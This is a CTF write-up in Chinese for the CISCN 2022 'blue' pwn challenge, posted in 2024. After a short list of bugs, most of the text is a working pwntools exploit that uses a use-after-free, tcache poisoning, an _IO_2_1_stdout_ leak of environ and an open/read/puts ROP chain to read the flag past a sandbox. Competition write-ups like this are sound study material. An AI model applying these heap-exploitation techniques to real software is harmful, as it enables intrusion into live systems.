CISCN 2022 华东北 blue

题目地址
提取码: Ya0o

漏洞

  • uaf,只能一次
  • show函数只能用一次,所以可以打_IO_2_1_stdout_结构体,泄露environ中内容,用来计算栈偏移
  • 堆块overlapping
  • 开启了沙箱,控制add函数的ret地址,与栈结合使用orw

exp

from pwn import *
from pwn import p64,u64,p32,u32,p8

context.terminal = ["tmux","sp","-h"]
context(log_level="debug",os="linux",arch="amd64")

io=remote('node4.anna.nssctf.cn',28332)
# io = process("./pwn")

elf=ELF("./pwn")
libc=ELF('/ctf/tools/libc.so.6')

sla = lambda x,y : io.sendlineafter(x,y)
sa  = lambda x,y : io.sendafter(x,y)
sl  = lambda x   : io.sendline(x)
sd  = lambda x   : io.send(x)
gd  = lambda     : gdb.attach(io)
inter = lambda   : io.interactive()

def get_addr() :
    return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))


def add(size,content):
    sla(b"Choice: ",b"1")
    sla(b"Please input size:",str(size))
    sa(b"Please input content:",content)

def free(idx):
    sla(b"Choice: ",b"2")
    sla(b"Please input idx:",str(idx))

def show(idx):
    sla(b"Choice: ",b"3")
    sla(b"Please input idx:",str(idx))

def uaf(idx):
    sla(b"Choice: ",b"666")
    sla(b"Please input idx:",str(idx))

def pwn():
    for i in range(9):
        add(0x80,b"aaaa") # 0-8
    add(0x10,b"aaaa")
    for i in range(7):
        free(i)
    uaf(8)    
    show(8)
    libc_base = get_addr() - 0x1ecbe0
    IO_stdout = libc_base + libc.sym["_IO_2_1_stdout_"]
    environ = libc_base + libc.sym["environ"]
    print("libc_base ------> "+hex(libc_base))    
    free(7)
    add(0x80,b"aaaa") #0
    free(8)
    # gd()
    # pause()
    add(0x70,b"aaaa") #1
    payload = p64(0) + p64(0x91)
    payload += p64(IO_stdout)
    add(0x70,payload) #2
    add(0x80,b"aaaa") #3  2和3地址只差了0x10,所以用2可以覆盖3堆块,控制tcache链表
    payload = p64(0xfbad1800) + p64(0) * 3
    payload += p64(environ) + p64(environ + 8)*2
    add(0x80,payload) #4
    stack = get_addr() - 0x128
    print("stack addr ----> "+hex(stack))
    # pause()

    free(3)
    # pause()
    free(2)
    # pause()

    payload = p64(0) + p64(0x91)
    payload += p64(stack)
    add(0x70,payload)
    add(0x80,b"aaaa") # 将下一个控制位add函数的ret栈地址,方便我们写入shellcode
    # pause()
    pop_rdi = 0x0000000000023b6a + libc_base
    pop_rsi = 0x000000000002601f + libc_base
    pop_rdx = 0x0000000000142c92 + libc_base
    open_plt = libc_base + libc.sym["open"]
    read_plt = libc_base + libc.sym["read"]
    puts_plt = libc_base + libc.sym["puts"]
    flag = stack + 0x180 # flag被读入的地址
  
    # ./flag字符串地址就是stack地址,注意要8字节对齐
    payload = b"./flag\x00\x00"
    # open("./flag",0) 0 代表只读形式
    payload += p64(pop_rdi) + p64(stack)
    payload += p64(pop_rsi) + p64(0)
    payload += p64(open_plt)
    # read(3,flag地址,0x40)
    payload += p64(pop_rdi) + p64(3)
    payload += p64(pop_rsi) + p64(flag)
    payload += p64(pop_rdx) + p64(0x40)
    payload += p64(read_plt)

    # puts(flag地址) 因为写orw的话,payload会超过了0x80字节
    payload += p64(pop_rdi) + p64(flag)
    payload += p64(puts_plt)

    add(0x80,payload) # 这个堆块可以就是add函数的ret地址,我们将payload写在那里
    # pause()

    inter()

pwn()
posted @ 2024-04-05 16:55  _Ya0  阅读(393)  评论(0)    收藏  举报